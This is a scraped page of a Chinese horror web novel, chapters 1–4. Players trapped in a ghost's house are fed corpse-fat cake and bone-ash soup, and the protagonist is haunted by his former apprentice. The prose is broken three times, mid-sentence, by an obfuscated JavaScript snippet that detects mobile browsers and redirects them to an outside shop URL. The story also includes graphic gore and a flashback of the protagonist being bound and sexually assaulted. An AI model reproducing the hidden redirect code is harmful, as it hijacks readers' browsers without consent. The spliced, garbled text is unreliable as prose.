《无限大佬收徒弟翻车后》 1. 第 1 章 “小朋友们,快来吃蛋糕啦!” 空气里传来一股烘焙蛋糕独有的香甜气息,那是奶油,鸡蛋,还有面粉交织起来的味道,闻起来就柔软的发腻。 楚明铮不动声色的睁开了眼睛。 他正坐在一张圆桌旁,桌上点了九盏蜡烛,屋子一片浓雾似的漆黑,唯一的光照来源就是桌上的蜡烛,烛火在蜡柱上被阴风吹的摇摇欲坠。 桌子上坐了九个小孩子,每个小孩子之间隔了一个面色惊恐的大人,看打扮应该是和楚明铮一样的副本过关者。 女主人端坐在主位上,面容慈祥,含笑看着桌上的孩子们。 “阿姨阿姨,我们什么时候可以开始吃蛋糕呀?”一个孩子用稚嫩的声音提问道:“我好饿了……” 孩童的声音空灵而无邪,在狭小的烛光饭桌上显得格外诡异。 “还有客人没到呢佳佳,等客人们来齐了,我们就可以吃饭了。”女主人温柔的对那小孩子说道。 楚明铮用余光瞥了一眼饭桌上的食物,大概心里有了个数。 总共三种食物,分别是煎肉排,奶油蛋糕块,还有一道混着灰色粉末,漂着油水的汤饭。 三道菜品分别摆在不同人的桌面上,小孩子们神色兴奋的握着刀叉,垂涎欲滴的看着桌上的食物,时不时躁动的扭一下身子。 “我不进去,我不要,放我离开!我不要进去!救命啊!!”小屋的大门被巨力一把掀开,神色狼狈的男人踉踉跄跄的被身后看不见的力道推着走到餐桌前,被迫在位置上坐了下来。 他神情惊恐,嘴里始终喃喃的念叨着:“我不吃,我不吃,我不吃……” “咯咯咯……”满桌的小孩子们咯咯笑着拍起手来,齐刷刷的用一种吟唱似的语调庆祝起来。 “客人们到齐啦,到齐啦……我们可以开动啦咯咯咯……” 女主人温文尔雅的笑着,握起面前的刀叉:“是的,开动吧孩子们。” “还有你们,我亲爱的客人们。”她朝一众玩家们粲然一笑,露出一口森然白牙:“你们,也开动吧。” 楚明铮此时的视力已经在黑暗里适应的差不多了,勉强能看清一些餐桌以外的地方了。 这是一个完全封闭式的屋子,对面墙壁上挂着一座时钟,指针不偏不倚,刚好指到十二点的位置。 午夜是全天阴气最重的时间段,午夜到,鬼门开的说法并不少见。 其余地方布置的倒是很温馨,楚明铮甚至能感受到,地板上铺了一层厚厚的毯子,毯子上散发着毛茸茸的蛋糕香。 “吃呀,吃呀!”一旁的小孩子用冰凉的小手推打着楚明铮的胳膊,催促着他。 楚明铮冷淡的偏头与那小孩对视,只见他身侧那个小男孩的瞳孔是全然一片死白,既没有瞳仁,也没有焦距,徒留两只骨碌骨碌乱转的白球,镶嵌进眼眶里。 看起来分外瘆人。 楚明铮没说什么,从手边拿起刀叉,慢慢的扎进了一块蛋糕里,连奶油带蛋糕胚整块举到嘴边,张嘴作势咬下一块,做咀嚼状。 小鬼满意的收回了目光,继续大快朵颐。 其余玩家见有人率先吃了桌上的东西,于是也都战战兢兢的拿起刀叉,开始品尝了起来。 很快有人吃了几口以后,露出意外而惊艳的神色。 “喂,这蛋糕做的也太好吃了吧!” “就是就是,奶油绵密还很柔软,有种小时候妈妈做的味道!” “奶香气好足,这真的是副本里能做出来的东西吗?” “这个汤饭也很好吃!汤底味道很鲜,你们快尝尝!” 楚明铮心底升起一丝疑虑,这些人看起来也不像是新手了,居然就这么毫无防备的将副本里的食物吃下去了? 他低头闻了闻叉子上的蛋糕。 确实很香,而且香甜的不正常,仿佛像是有人在蛊惑着你,朝你招手示意,快来吃蛋糕呀。 楚明铮借着手边微弱的烛火光芒,仔细将蛋糕块上的奶油和底胚看了又看。 奶油在烛火下闪烁着晶莹剔透的油光,看起来色泽诱人。 楚明铮将蛋糕放回盘子里,拿手中的叉子一挑那油汪汪的奶油块,勾缠出又黄又黏糊的甜丝来。 楚明铮心中警铃大作。 这绝不是正常奶油的形态。 他抬头看了一眼女主人,女主人腰上还系着围裙,神色如常,仍然满眼和蔼的望着孩子们。 而满桌的孩子们,却已经发生了异变。 小孩子们的脸庞以肉眼可见的速度从最开始的红润转为死人一般的雪白,眼眶下泛起的乌青如墨水一样晕开,抓握蛋糕的手掌逐渐白骨化。 就仿佛你眼睁睁的看着一群活生生的人,在你面前变成了死尸,然后腐烂,分解。 小孩子们对自己的变化一无所知,仍然大口大口的张着嘴吞吃盘子里的蛋糕和肉排。 他们的眼眶和口腔都变的黑洞洞的,从外观上看去,就像是死人苍白的皮肤上长出了裂口,裂口正在咕咚咕咚的吞吃着桌上的食物。 既然楚明铮能察觉到异样,其他人也不是瞎子。 对面桌上的几个玩家迟疑的停下吃蛋糕和吃汤饭的动作,神情恍惚了片刻,目光直愣愣的盯着自己盘子里的蛋糕和肉排,仿佛如梦初醒,从魔怔的迷雾里挣脱出来了。 “这……我们手上的东西能吃吗?” 众人面面相觑,不由得都显现出惊恐的神情来。 楚明铮环顾四周,无声的叹了口气,这个副本的低阶新手比他想象的还要多。 一般情况下副本里给的食物都是没问题的,毕竟过关者们要在一个空间里待那么久,不能还没被鬼杀死,就先被副本饿死了。 但是这个副本显然不太一样。 “能吃。”楚明铮盯着盘子里的蛋糕回答道。 众人听见这个回答,都不约而同松了口气,虽然周围光线太暗,他们看不清回答的人是谁,但对方的声音沉静而冷然,有种成竹在胸的镇定感,无疑让桌上这些群龙无首的新人们安定了几分。 “就是用料有点恶心。”楚明铮讲完了后半句话。 众人:“?!” 主位上的女主人脖颈不动,脖颈上的脑袋轻轻“嘎吱嘎吱”的响了几下,然后把一张瘆人的笑脸,就这么朝楚明铮拧过来了。 楚明铮不咸不淡的看了她一眼,并没把对方这个怨毒而威胁的眼神当回事。 他握着刀叉,轻轻敲了一下盛放蛋糕的盘子,轻声问道:“你们吃蛋糕的时候,没有吃出来里边的油状颗粒物吗?” 一个过关者听到这个名词,似乎猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613568|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了什么,颤颤巍巍的回答:“吃……吃到了。” 主位上的女人嘴角弧度咧的越发大了。 楚明铮深吸一口气,决定暂时不要在副本开始的第一个晚上就作死,于是他换了个委婉点的说法:“我觉得那不是什么常见的材料。” 女主人含着一丝令人胆寒的笑,将脑袋又转回去了。 楚明铮这辈子见过很多死人,各种各样的人以各种各样的死法,惨死在他面前,各种形态的尸体对他来说早已了如指掌,这其中当然也包括了流着尸油的死者。 他以前过副本的时候,跟一群人被关在一个狭小的出租屋内,他们要在时间限制内找出独居老人死亡的原因。 高温酷暑,出租屋的客厅犹如一个汗蒸的牢笼,那死去多时的老人就直挺挺的躺在地板上,酷暑将他身体里所剩无几的油脂蒸烤出来,流了一地。 那东西就是尸油,随着时间的流淌从黏腻腻的液体变成泛着黄光的膏状物,散发出极其难闻的腥臭气息。 现实生活中那样一个干瘪的老人,体内不可能有那么多油水化成尸蜡,这就是副本的诡异之处。 楚明铮自打那次之后,就再也不吃任何油炸的食物了。 对面的玩家们心惊胆战的看着桌上的食物,有人已经隐隐知道自己刚才吃进去的是什么了,不由得脸都绿了。 “我……我爸爸是个法医,他以前说过,尸蜡本身没有味道,但是加上与之伴随的尸体腐烂气息发酵在一起,会很难闻的,如果要掩盖下去的话,只能用大量香精和奶油来填补……” “呕——” “呕——咳咳……呕……” 率先呕吐出来的是对面的一个年轻男孩,他刚才吃了三大块蛋糕,此时胃里酸水和尸油翻滚,一起涌上了嗓子眼,登时伏在地上全吐了出来。 吐的气息奄奄,筋疲力尽,边吐边干呕,成串的口水从他嘴角掉落,他也顾不得自己的形象,只恨不得把手指塞进嗓子眼里去,把刚才吃下去的蛋糕全扣出来。 呕吐物难闻的味道在房间里蔓延开来,跟原先烘焙蛋糕的香气混杂在一处,让人忍不住皱眉头。 有个小孩子突然从桌子前站了起来,指着那年轻男人大声喊道:“阿姨说了!不许浪费食物!” “不许浪费食物!” “不许浪费食物!” “不许浪费食物——” 一张张泛着死气的小脸,无数稚嫩的童声……交织在一起幻化成尖锐的刺刀,鬼孩子们从饭桌上下来,一步一步逼近男人,将那男人吓得眼泪都飙出来了。 所有人都清楚在副本里违逆鬼怪的下场,男人欲哭无泪的趴在地面上,用手抓着还泛着热气的呕吐物,一把一把的从地上抓起来,又重新塞回嘴里咽下去。 咽的他又哭又嚎,但却连半滴汤都不敢从嘴里漏出来了。 楚明铮这个人稍微有点精神洁癖,面对这么恶心的场景自然是没兴趣观看的。 他饶有兴趣的拿起一旁勺子,在盛满汤饭的碗里搅了搅,碗底随着他搅拌的动作,飘浮起一层细碎的粉末来。 汤饭里的粉末是灰白色的,和裹满油汁的大米饭和汤水混合在一起,泛着亮晶晶的光。 “把骨灰当调料往汤里搁。”楚明铮撂下勺子感慨了一句:“好独特的口味。” 2. 第 2 章 楚明铮此话一出,无疑对在场桌上的人又是一记重击。 “不可能,不可能……你这只是猜测!没凭没据的,我们凭什么相信你!”对面一个模样十分高大的胖男人颤声反驳楚明铮道。 楚明铮点点头:“确实没凭没据。” “所以你最好把刚才碰过的食物吃完吧,也都听到了,这里不让浪费粮食。”楚明铮轻声说道。 那胖男人正是刚才被食物蛊惑的最严重的几名过关者之一,他刚才吃的最愉悦的时候,一口气在桌上拿了三大块泛着晶莹油水的蛋糕,全都堆在自己盘子里,也都或多或少的啃过几口。 面前的汤饭也被他连吃带喝了一大半,还剩小半碗没喝完,被泡软的米饭粒和骨灰颗粒缓缓的飘浮在汤面上,令人作呕。 众人面色各异,有几个年轻女孩死死握着拳,拼命隐忍着从喉咙里泛上来的恶心感,看着眼前还剩下一大半的蛋糕和汤饭忍不住眼睛里冒泪花。 “这位懂得很多的客人。”女主人再次朝楚明铮转过脸来,脸上的微笑柔和恬淡。 “你也不许浪费粮食哦。” 楚明铮指了指自己面前完整的蛋糕块,和一口没动的汤饭,心平气和的说:“我一口都没碰过它们,又谈何浪费呢?” 女主人的眼神越发怨毒了。 对面那个可怜的男人在一众小鬼的逼迫下,好不容易把呕吐物全部塞回了自己嘴里,被喉咙里的呕吐物熏的上气不接下气,嚎啕大哭。 直到确定地面上没有一丝残余的呕吐物蛋糕渣了,小孩子们才各自拍手笑着回到自己的座位上。 男人神情虚弱,踉踉跄跄的地上爬起来,忍着嗓子眼里被呕吐物填充的恶心感,脚步虚浮的跌坐回自己的座位上。 坐下的时候他身形一歪,不慎扯动了桌布,只听“咣当”一声,手边的蜡烛应声而倒。 瞬间熄灭。 男人入座的那个空间顷刻间漆黑下来,仿佛圆形的蛋糕被切了一角,光源黯淡下去的地方在餐桌上显得极为突兀。 “呀……”女主人轻声笑了一声:“你的蜡烛,熄灭了。” 一桌子的鬼童也跟着幽幽笑了起来。 “蜡烛熄灭了……熄灭了……” 男人感到后背被一阵阴冷的气息所裹挟了,森然寒意逐渐蔓延到了全身,他的身体仿佛不受自己控制了,目光呆滞着从座位上站了起来,整张脸惨白惨白,直勾勾的盯着空中的某处。 下一秒,他骤然一弯身子,“嘭!!!”的一声,把自己的脑壳又狠又重的砸在桌面上。 血水迸溅,脑浆翻滚,白花花的脑浆汁水混合着汩汩红血从碎裂的头骨中流淌出来,两颗眼珠子都因为用力过大而从眼眶中掉落出来,骨碌碌的满桌子乱滚。 旁边几个女孩子啊啊啊的尖叫起来,满桌的蜡烛被巨大的撞击砸的烛火乱晃,摇摇欲坠。 楚明铮眼疾手快,起身护住了自己桌前的那支蜡烛。 其余人见状纷纷照做。 接下来的一分多钟,男人始终重复着同一个动作。 弯腰,把脑壳狠狠撞在桌面上,再顶着黑洞洞的眼眶直起身子,再弯腰,再直起……整个过程机械而麻木,浑然不知疼痛。 直到他的整个头骨都在桌面上被撞碎,连最后一滴脑浆和脑髓液都流淌的干干净净,只剩半拉凹凸不平的骨头残骸为止。 最后众人眼睁睁的看着他那具没了半个头的尸骨,重新坐回桌子上,用沾满脑浆和鲜血的死人手,再次颤巍巍的举起了刀叉,仿佛仍然准备着进食的模样。 旁边有人发出很小声的抽泣声,难以言喻的恐惧在屋子里蔓延开来。 女主人安静的在主位上看着这一切,末了和颜悦色的对其余人道:“接下来的几天,这位客人仍然会跟我们一起用餐的。” “不要难过,死亡并不是最终的别离。” 楚明铮诧异的望了女主人一眼,心说这句话用在这个场景,居然还挺合适。 其他过关者显然没有楚明铮这样的好心态,尤其是离无头尸体坐的很近的几位玩家,脸色更是欲哭无泪。 没人想跟这个无头男尸一起同桌吃饭,尤其是此时桌上还溅满了他热气腾腾的脑浆。 “我们,我们还是把东西吃完吧……”有个女孩子怯生生的带着哭腔说道:“不然,可能真的要死。” 在坐的几名过关者互相看了看彼此,都心一狠,牙一咬,闭上眼睛将面前的蛋糕和汤饭囫囵吞了下去,饭虽然是恶心了点,但是恶心总比惨死要强。 女主人全程十分满意的看着他们狼吞虎咽的吃相,似乎对自己的厨艺很有信心。 等到最后一个人一脸菜色的放下叉子,女主人才起身摁开了小屋头顶的大灯,暖黄色的微光撒在桌面上,将整个小屋环绕出暖洋洋的气氛。 “欢迎大家来我这里进行为期五天的帮厨,刚才的菜品,希望还合你们的胃口,接下来的几天就麻烦你们给孩子们做饭了。” “每天的午夜十二点,我们都会像今天一样,一起共进晚餐。” “祝你们一切顺利,我们明天午夜见。” 女主人咧开嘴,朝众人露出了一个灿烂的微笑。 小孩子们的脸色从死气沉沉的惨白逐渐恢复到正常,餐厅的大门豁然洞开,他们起身蹦跳着吵吵嚷嚷的出去了,活泼可爱,就像一群最正常不过的小孩子一样。 女主人着重朝楚明铮微笑着看了一眼,起身离开的时候连衣裙的裙裾扬起一小股寒意十足的阴风,直冲着楚明铮桌上的蜡烛而来! 楚明铮眼神一冷,抬手就要动作。 就在这时,旁边伸过来一只筋骨分明而修长的手,轻轻的用掌心护在了楚明铮的烛火上。 楚明铮抬起头和坐在旁边的人对视上目光。 那是一个面容年轻的男孩子,眉眼很漂亮,正冲着楚明铮微微一笑,带着点示好的意味。 “我叫许祁川。”年轻男孩小声凑过来对他道:“这个副本好恐怖,我可以跟你一起吗?哥哥。” 楚明铮面无表情的将他看了几眼,冷冷道:“不可以。” “为什么?”男孩沮丧道。 “我不喜欢名字里带‘祁’和‘许’两个字的人。”楚明铮简短的回答:“你找别人吧。” 餐厅里众人都是惊魂未定的模样,桌上的餐具和食物都被凭空撤下去了,包括那个死掉的无头男尸,桌子上出现了数把钥匙,看样子应该是他们晚上休息的地方。 众人默不作声的各自拿了钥匙分配房间,两人一间,刚好够分,轮到楚明铮的时候,桌上只剩下一把钥匙了。 他的神情僵了僵,如果没看错的话,这张桌子上就只剩下他跟身边的这个男孩子没分房间了,那就只能…… “太好了哥哥!”许祁川欣慰道:“是咱俩住一间。” “你刚才应对鬼怪那么沉稳,一看就有经验,你会保护我的,对吗?” 楚明铮冷着脸拿过钥匙,看上去不想搭理他。 “你们不觉得奇怪吗?”无头男尸座位旁边的一个女人声音打着颤开口了。 “这个副本的难度,完全跟我们进来之前得到的消息不匹配,怎么会进来连十分钟都不到就死人啊……肯定是哪里出了问题。” 她身旁的男人脸色不太好看的接话道:“不可能。” “这个大区的副本都是齐栩负责把控的,齐栩的工作不会出错。” 女人神色一滞:“齐栩,你是说第一公会的领袖齐栩?他不顶多算是个厉害一点的过关者吗,跟副本把控有什么关系?” 男人摇了摇头,沉声道:“你是最近新来的吧。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613569|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一公会的领袖,本身就是关卡世界的最强者,况且……齐栩是唯一一个过完现存所有关卡,还活着回来的人,他只有二十二岁,至今他的战绩都是奇迹一样的存在。” “这么厉害。”女人小声喃喃道:“要是他还在过副本就好了,跟这种人过同一个副本,肯定安全感十足。” “他不会参与副本了,他从最后一个副本活着出来之后,就被祂带走了。” “祂?祂是谁?” 男人伸出手指,朝上指了一下,用口型说了两个字:“主神。” “据说齐栩现在在为祂做事情,对副本的难度和区域划分有一定决策权,也是普通过关者跟祂联系的唯一桥梁,统筹管理各大区域副本总体难度,年纪轻轻位高权重,底下听命于他的人不计其数。” “我们都叫他摄政官。”男人笑了笑:“主神的话事人,传说一样的人物。” 楚明铮不耐烦的打断他道:“故事讲完了没有,可以睡觉了吧?” 男人莫名其妙:“可以啊,我这不是给新来的同志科普一下吗,你不喜欢齐栩吗?也是,这个人实力强,遭人嫉妒,没当摄政官之前就腥风血雨的……那我不讲了。” 楚明铮懒得废话,起身拿了钥匙就回房间。 许祁川见状连忙跟上去:“那个……哥哥,你等一下我啊!” 楚明铮等他一并进了房间,这才没好气的关上门,准备关灯躺床上睡觉。 许祁川磨磨叽叽的走到他床跟前,关心道:“哥哥,你怎么从刚才看着就脸色不太好,是不舒服吗?” 楚明铮疲惫的揉了一下眉心:“你看错了。” “他们刚才说的齐栩是什么人啊,真的有那么厉害吗?”许祁川好奇道。 楚明铮抬手关了灯,翻身上床。 “他是个神经病。”楚明铮简短道。 许祁川“哦”了一声,点点头:“那我不问了。” 屋子里骤然漆黑下来,楚明铮太阳穴突突跳着疼,怎么都睡不着。 过往里无数梦魇一般的画面如同剪不断的丝线,疯狂的缠绕在他的脑海里。 …… “你他妈的——齐栩,你敢!”楚明铮被人反捆着双手,拦腰扛起来扔在了床上。 面前那个高大而英俊的年轻人慢斯条理的解开皮带,慢慢上床,把他逼到角落里,居高临下的注视着身下狼狈不堪的楚明铮。 “师父。”年轻的摄政官齐栩叹息般的叫了他一声:“我真应该拿个镜子,让你看看你现在的模样。” 他瘦长有力的指尖划过楚明铮颤抖的身躯,最终停到楚明铮的领口,紧接着猛然用力一拽,直接将对方整个上半身衣服撕开。 楚明铮苍白而筋骨匀亭的身躯暴露在空气中,他的眼眶因为极度的屈辱而微微发红。 齐栩不紧不慢的将他翻了个面,迫使楚明铮以一个更加难堪的姿势趴伏在床上。 他俯身咬了一下楚明铮的耳垂,疼的楚明铮狠狠打了个寒颤,从牙缝里挤出一个“滚”字来。 “你现在好像不如我厉害了,师父。” 楚明铮双手被结结实实的束缚着动不了,怎么都难以有力气反抗他。 于是楚明铮很快就被他折磨的连开口骂脏话的力气都没有了,只能气息奄奄的伏在枕头里,尽力克制着自己不发出太凄惨的叫声。 “师父,别哭啊,教出我这样的徒弟,师父你应该高兴才对,我已经过完了所有副本,你再找不到一个比我更厉害的过关者了。” …… “师父当年在副本里虐待我,让你团队里的那些狗杂碎欺负我的时候,可有想过自己今天这下场?”齐栩摩挲着他汗津津的鬓角,声音温柔的问道。 楚明铮这时候显然难以回答他,他此时被巨大的痛楚淹没,已经筋疲力尽的昏过去了。 3. 第 3 章 楚明铮蹙着眉心,在床上睡的并不安稳。 他只要眼睛一闭,就会梦到齐栩,并在梦魇中一遍一遍的反刍放映齐栩曾经对他做的那些禽兽事情。 那些不堪回首的梦境每在他的脑海里放映一遍,他对齐栩的恨意就加深几分,偏偏却还拿那孙子一点办法都没有。 齐栩如今是一神之下,万人之上的摄政官,早就不在是那个跟在楚明铮身后怯生生寻求庇护的小徒弟了。 楚明铮半梦半醒的蜷缩在床上,好不容易把脑海里杂乱的念头都清理的差不多,准备进入深层次的睡眠了。 然而下一秒,只听床榻吱呀一响,他的被子被人从外边猛然掀开,一个活物闪电般钻进来紧贴着他。 楚明铮又惊又怒睡意全无,起身就要把那不速之客一脚踹下床去。 哪料许祁川一手抓着楚明铮的胳膊,一手抓着被单,手劲极大,攥的死紧,满脸惊恐的怎么都不肯从楚明铮被窝里出去。 “你他妈有毛病?”楚明铮被这个新室友简直气的七窍生烟:“大半夜不睡觉往我床上蹿什么?” “下去!” “哥哥,我害怕。”许祁川牙齿咯咯打颤:“我,我听到门外,好像有声音……” 楚明铮神色一凛,门外果然传来窸窸窣窣的脚步声。 紧接着卧室门锁转动,眼看着就要开了。 楚明铮果断一把将许祁川按回了床上,被子盖好,低声道:“闭嘴,装睡,别出声。” 许祁川乖乖听话的闭上眼睛,然后一侧身,手臂一展,顺势搂住了楚明铮的脖颈,侧着脑袋将脸埋在楚明铮的颈窝里,安稳的睡着了。 楚明铮:“……” 他弄死这小伙子的心都有了。 奈何形势所迫,他也只能闭上眼睛,假装什么都不知道,静听门外的动静。 “咔哒”一声,卧室的门被推开了,楚明铮闻到一股蛋糕刚出炉时的烘焙香气。 “咚,咚,咚……”蛋糕香气伴随着沉重的脚步声,离他俩的床前越来越近,最终停在了许祁川的身侧。 许祁川大气不敢喘,哆哆嗦嗦的搂着楚明铮,恨不得半个身体都塞进他怀里。 楚明铮向来不喜欢跟人有肢体接触,尤其是经历过齐栩的事后,他本能的对比自己强壮的年轻男性有戒备心理,此时被迫跟许祁川挤在一张床上,心中恼火自然不必多说。 尤其是对方还跟个八爪鲶鱼一样抱着他,恨不得全身上下都跟他紧贴在一起。 女主人站在他俩床前,手里提着一盏光芒微弱的小夜灯,默不作声的看了他俩片刻。 然后轻快的哼起了歌,转身出门。 许祁川松了口气,他睁开眼睛,抬了一下脑袋,将楚明铮的一条胳膊分了出来,然后自己再枕上去,等于让自己整个躺在了楚明铮怀里。 楚明铮活像是被开水烫了,跟诈尸一样拼命把自己胳膊往外抽:“你干什么!你个大男人往我怀里钻什么钻,你他妈是gay啊!?” 许祁川从喉咙里发出一声细小的呜咽:“哥哥,我好害怕。” “害怕你抱别人去!” “这里没别人,我只想抱着你。”许祁川泫然欲泣。 “我再警告你一遍,离我远点!” 楚明铮咬牙切齿,气的都快冒烟了,他感觉自己真是倒了八辈子血霉,从齐栩那儿逃出来进的第一个副本,就遇到这么个脑残队友。 两人在被子里只差扭打起来了,忽然一阵蛋糕香气由远及近。 楚明铮心道不好,火速闭眼装睡。 许祁川的反应就没他这么快了,他一转头,正对上女主人那张死白死白的鬼脸。 “果然有小朋友没有在规定时间乖乖睡觉,让阿姨来看看,是哪个小朋友呢……”女主人站在他俩床头,正咧着嘴朝许祁川慈祥的微笑着,小夜灯将她惨白的面容照的森然可怖。 她俯下身子,一股浓郁的腐烂气息扑面而来,嘴巴一张一合,缓缓逼近楚明铮面无表情的睡颜。 许祁川一低头,瑟瑟发抖的把整个脑袋都埋进了楚明铮的臂弯里,鼻腔里全是楚明铮身上的檀木淡香,一动不敢动。 “不听话的小朋友,要站在窗户外边罚站。” 鬼手一点一点扳过许祁川的肩膀,将他整个人从被窝里扯了出来,年轻男孩子惊恐的啜泣声在楚明铮耳畔响起,连带着还有他挣扎时沉重的喘息声,都逐渐一并远去。 看来许祁川今天晚上必死无疑了。 楚明铮冷淡而毫无起伏的想到。 他向来在诡谲波澜的副本世界对同行者没什么同情心,哪怕昨天还并肩作战的人,今天就鲜血淋漓的死在自己眼前,楚明铮也不会眨一下眼睛。 想在副本世界活命下去,首先要摒弃的,就是没用的同情心,其次还有……正常人类的情感。 齐栩从前就最恨他这一点。 “你不是我师父吗?为什么我遇到危险的时候你不保护我?我刚才差一点就没从副本里活着出来。”记忆中的少年浑身颤抖着站在楚明铮面前带着隐忍的哭腔问道。 他全身都是伤,一身的血腥气,脸上伤痕累累,满眼震惊失望的难过。 楚明铮懒洋洋的坐在沙发上,神情厌倦的点了根香烟:“你第一天认识我?” “不……我只是没有想到……” “没想到什么?没想到我真对你见死不救?”楚明铮挑了一下修长秀气的眉毛,脸上神色倨傲冷淡,配合着他那张苍白漂亮的脸,直刺进齐栩心里。 “小朋友,你不妨问问自己,我有什么义务要对你伸出援手。” 齐栩猛的哽了一下,眼眶逐渐红了。 “掉眼泪是最没出息的表现。”楚明铮冷冷的道。 齐栩攥紧拳心,硬生生将眼泪忍回去了。 “这还差不多。”楚明铮手里握着烟,叼在嘴边吸了一口,在烟雾缭绕中慢慢道:“当初在副本里救你,允许你当我徒弟,是看你还有点潜质,没想到你这么弱。” “我对弱者的耐心有限。” “你最好在我对你的忍耐度消耗完之前展现出你的价值。”楚明铮从沙发上站起身,身段纤长笔挺,冰冷而俊秀的面容隐没在烟雾里,像个猜不透的谜。 “否则我在副本里甩掉你这个累赘,就像出门扔个垃圾那么简单。” …… 也许如果他当年对齐栩好一点的话,等到后来他被齐栩秘密关押起来的时候,可能就不用遭那么多罪了。 不过现在说这些都晚了,他已经在齐栩手里把该吃的苦头都吃尽了,齐栩就是个疯子,如果现在再被他找到,楚明铮完全相信他不会放过自己的。 楚明铮在黑暗中闭着眼睛,不知不觉的睡着了。 许祁川一路抽抽噎噎的被女鬼拖到窗户外边,女主人此时已经完全卸掉了作为“人”的伪装,她伸出枯瘦的鬼爪,从围裙的布料里扯出一长截粗大的绳子,一点一点将它缠绕在了许祁川的脖颈上。 许祁川仍然维持着那个惊恐的神情,直到被她勒着脖子,直挺挺的吊在二楼窗台上COS晴天娃娃。 原来把人吊死,用绳子拴着脖子在二楼荡秋千,就是所谓的“罚站”。 女鬼心满意足的把许祁川吊在了二楼,然后晃晃悠悠的飘荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613570|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,准备离开。 等等,好像有什么地方不对? 女主人迟疑的僵硬抬头望去,只见许祁川神情悠闲的被吊在空中,但是完全没有要死的迹象,甚至呼吸平稳,面容镇定。 女鬼怀疑自己看错了。 一般人被绳子把脖子一勒,脚尖悬空地面,不出一分钟就会勒断喉咙和气管,窒息而死,这也就是古代的绞刑。 眼前这个年轻人为什么不死? 现在鬼都能吓唬鬼了吗? 许祁川被吊在二楼飘荡,大概是察觉到了她的目光,于是微微垂下眼睛,朝她露出一个温和的微笑。 女鬼:“?!” 下一秒,女鬼发出一声肝胆俱裂的鬼叫,这他妈是什么玩意儿?! 许祁川,或者说是齐栩,见状微微的蹙了下眉心,然后伸出食指,轻轻竖在自己嘴唇上,朝女鬼主人示意道:“嘘。” 别出声,不准告诉别人。 别吵,我师父还在屋子里睡觉。 女主人连滚带爬的回屋去了,这场面简直吓死鬼了。 许祁川在楚明铮窗外COS了一整晚的晴天娃娃,楚明铮半夜醒来的时候迷迷瞪瞪瞅见过一两次,但是他没放在心上,一般情况下副本里死去过关者的尸体会被系统自动清除,过几个小时就不在了。 一夜寂静。 楚明铮第二天早上醒来以后,许祁川的尸体果然消失不见了。 楚明铮没什么太大的情绪波动,死人,尸体消失不见,都是副本里很正常的现象,他洗漱了一下,下楼吃早餐。 ……然后就在餐厅里见到了许祁川本人。 “早上好哥哥。”许祁川轻快的给他递了个盘子:“这里的早餐是正常食物,不用担心,放心吃就好了。” 餐厅里众人见了许祁川都跟见了鬼一样。 “你……你不是死了吗?”有个女孩战战兢兢的往楚明铮身后躲:“我昨晚看到你被吊在外边了,你你你到底是鬼还是人?” “其实我觉得这个问题没有必要细究。”许祁川笑眯眯的说。 “因为我不管是鬼还是人,你们接下来都得跟我在同一个空间里呆着,所以还是不要知道真相让自己膈应的好,你说是吧?” 那女孩吓得手一哆嗦,险些把盛早餐的盘子打翻在地上。 楚明铮伸手一捞,刚好接住拿稳,递回女孩手上:“小心点,这里不让浪费粮食。” 女孩猛然想起昨天晚上的事,连忙点头道谢。 许祁川在一旁端着盘子静静的看着他,开口笑道:“哥哥,你怎么对谁都这么好?” 楚明铮端着盘子坐到自己位置上:“我不跟不人不鬼的东西说话。” 许祁川跟着在他旁边坐下来,冷不丁捞起他的一只手,往自己胸口上一放:“我是活的,哥哥,你摸,我有心跳。” 楚明铮触电似的跳起来:“你到底什么毛病!跟你说了别动我。” 他动静太大,引的满桌人都朝他俩这边看。 许祁川抱歉的冲众人笑笑,伸手把他从一旁拉了下来:“稳重点哥哥,我只是想让你放心。” “我不关心别人的死活。” “可是我没死成,今晚还得跟你一起睡,让你知道我是活的,你不住的安心些吗?”许祁川好声好气的劝道。 楚明铮猜测这年轻人应该是身上有什么应对的符咒或者道具卡,总之在昨晚保下了一命,算他运气好。 想到这里楚明铮的眼神暗了暗。 他当年也是有不少类似的保命符的,都是副本通关的奖赏,可惜身份被注销后,就再都找不回来了。 4. 第 4 章 说是吃早饭,事实上没几个人对着眼前的桌子能提得起胃口。 这张桌子昨天晚上昨天晚上泼洒脑浆的场景还深深的印在众人的脑海里,今天晚上午夜十二点,搞不好又得在这张桌子上死几个人。 众过关者们各个吃的味同嚼蜡。 楚明铮没太把许祁川死而复生的事放在心上,他随便刨了两口饭,然后就开始四处打量这个餐厅白天的形态。 